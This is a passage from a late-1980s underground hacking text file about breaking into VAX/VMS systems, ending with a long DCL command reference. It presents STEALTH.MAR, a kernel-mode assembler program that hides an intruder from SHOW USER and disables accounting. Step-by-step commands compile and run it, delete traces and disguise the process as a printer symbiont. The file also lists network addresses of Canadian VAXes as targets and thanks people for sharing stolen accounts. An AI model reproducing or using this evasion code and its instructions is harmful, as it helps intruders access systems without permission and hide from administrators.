- I have the program delete itself! This can be VERY useful in many
- applications where you don't want the program lying around after it has
- been executed once (eg. trojan horses!)
-
-
-
-
- STEALTH.MAR
- -----------
-
- Ok here i present the stealth.mar program. This little assembler beauty lets
- you hide from the SHOW USER command! Very useful for remaining undetected on
- VAX/VMS systems. Ok first heres the program:
-
-
-
- ---------------------------------- cut here -----------------------------------
-
- .library /sys$library:lib.mlb/
- .link /sys$system:sys.stb/
- $pcbdef
- .entry no_user,^m<>
- $cmkrnl_s routin=blast_it
- ret
- .entry blast_it,^m<>
- tstl pcb$l_owner(r4)
- bneq outta_here
- bbcc #pcb$v_inter,pcb$l_sts(r4),outta_here
- clrb pcb$t_terminal(r4)
- decw g^sys$gw_ijobcnt
- bisl #pcb$m_noacnt,pcb$l_sts(r4)
- outta_here:
- movl #ss$_normal,r0
- ret
- .end no_user
-
- ---------------------------------- cut here -----------------------------------
-
-
- Ok heres the instructions on using it. First create the file stealth.mar on
- the VAX. This can be accomplished by:
-
- $create stealth.mar
-
- Then transmit this file through the buffer option in your terminal program.
- After you finish the transmit, hit CTRL-Z to exit the create file option. At
- this point you will be put back into DCL. Then perform the following steps:
-
- $macro stealth
- $link /nomap stealth
- $delete stealth.obj;*
- $delete stealth.mar;*
- $run stealth
- $del stealth.exe;*
- $show system
-
- At this point, your screen will fill up, showing you all the active processes.
- Make a note of the processes that have the format: "symbiont_xxxx" Look for the
- last available one, then increase the number by 1. For example if the last
- symbiont process was "symbiont_0003" then you should type:
-
- $set proc/name="symbiont_0004"
-
- This will effectively name your process as a printer driver, thereby making it
- even harder to detect you. Of course you are not safe from the SDA (since it
- can access memory directly) but it affords quite a bit of protection
- nonetheless Ok one small note, you require CMKRNL privilege to execute this
- file (because of the Change To Kernal Mode command in the 5th line of the
- code). One other point that I want to make is that you should NEVER leave the
- .MAR or .OBJ file for STEALTH on ANY system! The best thing is to either hide
- the EXE file in some remote directory or delete it, after you execute it. It
- doesn't hurt to play it safe!
-
-
- NOTE: a programming note, if you need to access the symbols defined by the
- system, such as the number of users online etc, you should link the system
- symbol table to your OBJ file. The actual file is: sys$system:sys.stb
-
-
-
-
- DATAPAC VAX LISTING
- -------------------
-
- Here I provided a partial list of CANADIAN VAXes hooked up on DATAPAC.
- These have been provided merely as a hacking exercise to get you started, and
- as such i have not listed any user/password combinations. Some of these have
- regular defaults, other have variations, and yet others require some thinking
- and good luck to get in! One small point, since all of these are Canadian
- I have not bothered to include the DNIC. So if you are calling through lets
- say telenet and for example if the nua in the listing is 38701020 then to
- connect to it, use the NUA 0302038701020 (ie add a 03020 to the beginning).
- All of these VAXes were up and operating at the time of writing...
-
- CANADIAN VAX LISTING
- --------------------
-
- 21700051 66200071 43700018 93800046
- 76600029 62400061 87400010 91100024
- 62700151 30400017 33400620 95100160
- 41500778 88500561 93600010 66700024
- 70700033 88500100 36700026 87400010
- 85800778 76150042 36700027 90400156
- 60500417 56290039 36700581 95100160
- 64100146 55400127 36700178 91100024
- 35600330 83500600 39100556 62700056
- 44200519 49900053 36700211 59600384
- 44600032 78100120 20500047 60100175
- 88100073 64700253 85701445 63100131
- 20500366 69200295 28330324 85701445
- 44400900 97500075 28361325 63300483
- 72101099 83400117 28362116 59500120
- 64700029 95100160 36700140 78100265
- 71100755 91100024 43700018 21450017
- 53700306 49700003 54100112 93800393
- 38700165 63300483 48500127 70700033
- 24400263 78100651 57100010 43700230
- 22500019 78100265 45800116 30500037
- 68100563 78100092 54100013 37200020
-
-
- CONCLUSION
- ----------
- Ah, that be it! I hope you enjoyed the file and found it informative. As i
- stated earlier, it was not intended to be an advanced course on VAX hacking,
- merely an introduction to whet your appetite and lead you on to bigger and
- better things. Since this file was put together in quite a hurry, i realize
- that it isn't properly organized, and i am sure i forgot to mention some
- important things, so i must apologize for that. I also didn't get a chance to
- verify all of the diagrams and charts I have put in (a lot of it was from
- memory) but to the best of my knowledge all of this information is correct.
- One minor point is that some commands may perform a bit differently on
- different versions of VMS. For example the SHOW USER output that I have
- described is quite different in version 4.4 from version 5.1 The main ideas
- that I have described however, apply to all versions of VMS, and you shouldn't
- have any difficulties.
-
- If you have any comments, suggestions, criticisms or even questions, i would be
- glad to hear from you. You can reach me in several ways. First i can be found
- on these boards:
-
- CCC HQ : (416)/398-3301 User:GUEST, PW:GUEST
- NODE 13: (416)/756-4545 type !! ,login:LYNX
-
- You can also reach me on QSD (France): 33-36-43-15-15, leave mail to ENTITY.
- If you are calling through a Packet Switching System, then you can reach call
- the QSD NUA at: 0208057040540. You can also probably find me hanging around
- on these CHAT systems:
-
- TCHH :026245400050570 login: guest
- ALTGER:026245890040004 login: guest
-
-
- Now before I take off, I would like to thank some people who have made hacking
- VAX/VMS possible and a helluva lot more fun for me!
-
- Disk Weasel - for getting me started into VAX/VMS hacking in the first place!
- (thanks Catherine for introducing us!)
- Jetscream - for all the late night hacking sessions clobbering systems!
- Wonder Warthog- for so freely sharing 5 billion VAX accounts with me. The man
- with infinite defaults..how does he do it!?...haha
- The Keeper & Flex Motta- for sharing many a system with me
- Rod & Scott (SRB tech)- thanks for all the technical help!
- Cottapin, Piper, Par, Snooty and the rest of the ALTOS gang for all the
- interesting talks...
-
- See ya around!
-
- E N T I T Y
-
- Corrupt Computing Canada!
-
- DCL REFERENCE SECTION
- ---------------------
-
- Rather than provide a DCL dictionary, I thought it would be more appropriate
- for a beginners file to include a section that separates some of the more
- useful commands according to function:
-
- -------------------------------------------------------------------------------
- 1. Submitting batch and print jobs and controlling batch and print queues.
-
- ASSIGN/MERGE Moves jobs from one queue to another.
- ASSIGN/QUEUE Assigns a queue to a device.
- DEASSIGN/QUEUE Deassigns a queue from a device.
- DELETE/ENTRY Deletes a job or jobs from a queue.
- DELETE/QUEUE Deletes a queue and all its jobs.
- INITIALIZE/QUEUE Creates and initializes a queue.
- PRINT Places a job in a print queue.
- SET QUEUE Changes the current status or attributes of a queue.
- SET QUEUE/ENTRY Changes the attributes of a job.
- SHOW PRINTER Displays default characteristics defined for a printer.
- SHOW QUEUE Displays the attributes of the jobs in a queue.
- START/QUEUE Starts or restarts a queue.
- STOP/QUEUE Stops a queue.
- SUBMIT Places a job in a batch queue.
- SYNCHRONIZE Suspends processing until a specified job completes.
-
- -------------------------------------------------------------------------------
- 2. Performing operations specific to command procedures.
-
- DECK Marks the beginning of a special input stream.
- DELETE/SYMBOL Deletes one or more names from a symbol table.
- EOD Marks the end of a special input stream.
- EXIT Terminates a command procedure.
- GOTO Transfers control to a label in a command procedure.
- IF Executes a command only if an expression is true.
- INQUIRE Requests input and assigns the result to a symbol.
- ON Specifies an action to perform when a condition occurs.
- SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys.
- SET ON Sets error checking on or off.
- SET RESTART_VALUE Sets the value of a batch job restart symbol.
- SET VERIFY Displays command input as it is read.
- SHOW SYMBOL Displays the value of a symbol.
- WAIT Suspends processing for a specified period of time.
- OPEN Makes a file available for reading or writing.
- CLOSE Terminates processing of a file.
- READ Reads and optionally deletes a record from an open file.
- WRITE Writes a record to an open file.
-
- -------------------------------------------------------------------------------
- 3. Communicating with other people using the system.
-
- MAIL Sends/reads messages to/from other users.
- PHONE Permits users to communicate by typing messages to
- one another's terminal screens.
- REPLY Displays a message on one or more terminal screens.
- REQUEST Displays a message on the operator's console.
- SHOW USERS Lists the interactive users on the system.
-
- -------------------------------------------------------------------------------
- 4. Create and switch control between user processes.
-
- LOGOUT Terminates an interactive terminal session.
- SET PASSWORD Changes your password.
- ANALYZE/PROCESS Analyzes a process dump.
- ATTACH Switches your terminal between SPAWNed processes.
- CONNECT Connects a physical terminal to a virtual terminal.
- DISCONNECT Disconnects a physical terminal from a virtual terminal.
- PRINT Creates a print job.
- RUN/PROCESS Creates a detached process or subprocess.
- SET HOST Connects your terminal to another system via DECnet.
- SHOW NETWORK Displays the nodes you can reach from your system.
- SPAWN Creates a subprocess with a similar environment.
- SUBMIT Creates a batch job.
-
- -------------------------------------------------------------------------------
- 5. Creating and debugging images.
-
- ANALYZE/IMAGE Analyzes an image file.
- ANALYZE/OBJECT Analyzes an object module.
- DEBUG Invokes the symbolic debugger after a CTRL/Y.
- DEPOSIT Changes the contents of memory.
- DIFFERENCES Displays differences in content between two files.
- DUMP Displays the uninterpreted contents of a file.
- EDIT Creates (optionally) and edits a file.
- EXAMINE Displays the contents of memory.
- LIBRARY Creates or modifies various kinds of libraries.
- LINK Creates images from object modules.
- MACRO Creates object modules from macro source programs.
- MESSAGE Creates object modules from message source programs.
- PATCH Patches an image.
- RUN Runs an executable image.
- SET COMMAND Updates the commands available to the process.
-
- -------------------------------------------------------------------------------
- 6. Running executable images.
-
- CANCEL Cancels a scheduled wakeup request.
- CONTINUE Resumes execution of an interrupted command.
- DEBUG Invokes the VAX/VMS debugger after a CTRL/Y.
- DEPOSIT Changes the contents of memory.
- EXAMINE Displays the contents of memory.
- EXIT Terminates execution of an image or command procedure.
- RUN Runs an image.
- SET COMMAND Updates the commands available to the process.
- STOP Abruptly terminates execution of an image, process, or
- command procedure.
-
- -------------------------------------------------------------------------------
- 7. Saving and cataloging information on storage devices.
-
- APPEND Appends one file to another.
- COPY Creates a copy of an existing file or files.
- CREATE Creates a new file.
- DELETE Deletes a file or files.
- DIFFERENCES Displays differences in content between two files.
- DIRECTORY Displays the names of the files in a directory.
- EDIT Creates (optionally) and edits a file.
- MERGE Merges sorted files.
- PRINT Prints the contents of a file.
- PURGE Deletes old versions of a file or files.
- RENAME Recatalogs an existing file.
- SEARCH Locates a character string within a file or files.
- SORT Sorts the data in a file.
- TYPE Displays the contents of a file.
- SET DEFAULT Changes the default device and directory.
- SHOW DEFAULT Displays the default device and directory.
- ANALYZE/RMS_FILE Analyzes the internal structure of a file.
- CONVERT Changes the attributes of a file.
- CONVERT/RECLAIM Reclaims unused space in an indexed file.
- CREATE/DIRECTORY Creates a new directory or subdirectory.
- CREATE/FDL Creates a new file with tailored attributes.
- DUMP Displays the uninterpreted contents of a file.
- EDIT/FDL Creates a file definition file.
- EDIT/SUM Updates a file with multiple files of edit commands.
- EXCHANGE Reformats files formatted by other operating systems.
- LIBRARY Creates or modifies various kinds of libraries.
- RUNOFF Formats one or more documents (text files).
- SET DIRECTORY Changes the characteristics of a directory.
- SET FILE Changes the characteristics of a file.
- SET PROTECTION Changes the protection of a file.
- SET PROTECT/DEF Changes the default protection given to files.
- SET RMS_DEFAULT Changes the default block and buffer count values.
- SHOW PROTECTION Displays the default protection.
- SHOW QUOTA Displays your quota of space on a disk volume.
- SHOW RMS_DEFAULT Displays the default block and buffer count values.
- UNLOCK Closes a file accidentally left open.
-
- -------------------------------------------------------------------------------
- 8. Using higher-level names in place of device and file names.
-
- ASSIGN Equates a logical name to an equivalence string.
- CREATE/NAME_TABLE Creates a logical name table.
- DEASSIGN Deletes a logical name.
- DEFINE Equates a logical name to an equivalence string.
- SHOW LOGICAL Displays logical names and their equivalencies.
- SHOW TRANSLATION Displays a logical name and its first equivalence.
-
- -------------------------------------------------------------------------------
- 9. Using physical devices.
-
- ALLOCATE Allocates a device for your exclusive use.
- DEALLOCATE Releases an allocated device for general use.
- DISMOUNT Makes a storage device unavailable for processing.
- INITIALIZE Formats a storage device.
- MOUNT Makes a storage device available for processing.
- ANALYZE/DISK Checks the readability and validity of disks.
- ANALYZE/ERROR_LOG Displays the contents of the system error log.
- ANALYZE/MEDIA Analyzes the format of a storage device.
- BACKUP Saves or restores files from storage devices.
- SET CARD_READER Sets the translation mode for a card reader.
- SET DEVICE Sets device characteristics.
- SET MAGTAPE Sets magnetic tape device characteristics.
- SET PRINTER Sets line printer characteristics.
- SET PROTECT/DEV Sets protection on a non-files device.
- SET VOLUME Sets mounted volume characteristics.
- SHOW DEVICES Displays the status of devices.
- SHOW ERROR Displays device error counts.
- SHOW MAGTAPE Displays magnetic tape characteristics.
- SHOW PRINTER Displays line printer characteristics.
-
- -------------------------------------------------------------------------------
- 10. Monitoring, maintaining, tuning, and trouble-shooting the system.
-
- ACCOUNTING Collects, records, and reports accounting information.
- ANALYZE/CRASH Analyzes a system dump.
- ANALYZE/DISK Checks the readability and validity of disks.
- ANALYZE/ERROR_LOG Displays the contents of the system error log.
- ANALYZE/MEDIA Analyzes the format of a storage device.
- ANALYZE/RMS_FILE Analyzes the internal structure of a file.
- ANALYZE/SYSTEM Analyzes the running system.
- BACKUP Saves or restores files from storage devices.
- MONITOR Displays performance information on the running system.
- REPLY Displays a message on one or more terminal screens.
- REQUEST Displays a message on the operator's console.
- SET ACCOUNTING Initializes the accounting log file.
- SET AUDIT Enables auditing of security events.
- SET COMMAND Updates the commands available to the system.
- SET DAY Changes the day type.
- SET LOGINS Sets a limit on the number of interactive users.
- SET TIME Resets the system clock.
- SHOW ERROR Displays processor, memory, and device error counts.
- SHOW MEMORY Displays usage information on memory.
- SHOW SYSTEM Lists the processes on the running system.
- SHOW USER Lists the interactive users on the running system.
-
- -------------------------------------------------------------------------------
- 11. Manipulating your terminal-specific interactive environment
-
- CONNECT Connects a physical terminal to a virtual terminal.
- DEFINE/KEY Equates terminal function keys to command lines.
- DELETE/KEY Deletes a terminal function key definition.
- DISCONNECT Disconnects a physical terminal from a virtual terminal.
- RECALL Recalls previously entered interactive commands.
- SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys.
- SET HOST Connects your terminal to another system via DECnet.
- SET PROMPT Sets the interactive command prompt.
- SET TERMINAL Sets terminal characteristics.
- SHOW KEY Displays one or more function key definitions.
- SHOW TERMINAL Displays terminal characteristics.
-
- -------------------------------------------------------------------------------
- 12. Examining and controlling the user environment.
-
- SET COMMAND Updates the commands available to the process.
- SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys.
- SET DEFAULT Changes the default device and directory.
- SET HOST Connects your terminal to another system via DECnet.
- SET MESSAGE Overrides or supplements system messages.
- SET PASSWORD Changes your password.
- SET PROCESS Changes your process characteristics.
- SET PROMPT Sets the interactive command prompt.
- SET PROTECT/DEF Changes the default protection given to files.
- SET RMS_DEFAULT Changes the default block and buffer count values.
- SET UIC Changes the UIC of your process.
- SET WORKING_SET Changes your working set limit or quota.
- SHOW DEFAULT Displays the default device and directory.
- SHOW KEY Displays one or more function key definitions.
- SHOW LOGICAL Displays logical names and their equivalencies.
- SHOW PROCESS Displays your process characteristics.
- SHOW PROTECTION Displays the default protection.
- SHOW QUOTA Displays your quota of space on a disk volume.
- SHOW RMS_DEFAULT Displays the default block and buffer count values.
- SHOW STATUS Displays brief process characteristics.
- SHOW SYMBOL Displays the value of a symbol.
- SHOW TERMINAL Displays terminal characteristics.
- SHOW TIME Displays the current date and time.
- SHOW TRANSLATION Displays a logical name and its first equivalence.
- SHOW WORKING_SET Displays your working set limit and quota.
-
- -------------------------------------------------------------------------------
-
- Downloaded From P-80 Systems 304-744-2253
-